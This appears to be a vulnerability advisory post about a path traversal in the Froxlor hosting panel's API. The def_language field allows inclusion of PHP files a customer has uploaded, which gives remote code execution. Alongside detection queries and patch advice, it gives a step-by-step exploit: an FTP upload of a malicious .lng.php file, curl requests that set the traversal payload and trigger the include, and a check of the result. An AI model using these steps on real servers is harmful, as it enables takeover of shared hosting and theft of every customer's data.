Listen to this Post
The Froxlor API endpoints `Customers.update` and `Admins.update` fail to validate the `def_language` parameter against the list of available language files. An authenticated customer can set `def_language` to a path traversal payload like ../../../../../var/customers/webs/customer1/evil, which is stored directly in the database. The web UI validates this parameter correctly by checking against Language::getLanguages(), but the API only uses a weak regex `/^[^\r\n\t\f\0]$/D` that permits traversal sequences. On every subsequent request, both the API (ApiCommand.php:218-222) and the web (init.php:180-185) code paths load this tainted value. The `Language::loadLanguage()` function then constructs a file path by appending `.lng.php` to the user-supplied string and executes it via require. By uploading a malicious `.lng.php` file via their default FTP access, an attacker can force the inclusion of their own PHP code. This leads to arbitrary PHP code execution with the privileges of the web server user, enabling full server compromise.
DailyCVE Form:
Platform: Froxlor
Version: <2.3.5
Vulnerability : Path Traversal
Severity: Critical
date: 2026-04-16
Prediction: 2026-04-30
Analytics under What Undercode Say:
Check if Froxlor is vulnerable by testing API validation
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/www/html/test"}}'
Monitor for suspicious require() calls in PHP logs
grep "require..lng.php" /var/log/php-fpm/error.log
Detect path traversal attempts in database
mysql -u root -p -e "SELECT def_language FROM froxlor.panel_customers WHERE def_language LIKE '%../%';"
Exploit:
Step 1: Upload malicious language file via FTP
echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php
ftp panel.example.com > put evil.lng.php
Step 2: Set traversal payload via API
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.update","params":{"def_language":"../../../../../var/customers/webs/customer1/evil"}}'
Step 3: Trigger inclusion on next API call
curl -s -X POST https://panel.example.com/api \
-H 'Authorization: Basic <base64(apikey:apisecret)>' \
-d '{"command":"Customers.get"}'
Step 4: Verify execution
cat /tmp/pwned
Protection from this CVE
- Upgrade Froxlor to version 2.3.5 or higher.
- Apply the official patch by replacing the vulnerable validation in `Customers.php:1207` and `Admins.php:600` with a strict check against
Language::getLanguages(). - Add a defensive check in `Language::loadLanguage()` to reject any `$iso` containing `..` or not matching
basename($iso). - Disable API access for untrusted users by setting `api_allowed = 0` in the schema until the patch is applied.
- Monitor FTP uploads for `.lng.php` files in customer web directories.
Impact
- Full server compromise via reading `lib/userdata.inc.php` to obtain database credentials, leading to access to all customer data, admin credentials, and server configuration.
- Lateral movement to other customers’ databases, email, and files in the shared hosting environment.
- Persistent backdoor by modifying Froxlor source files or cron configurations.
- Data exfiltration of all hosted databases and email content across the panel.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

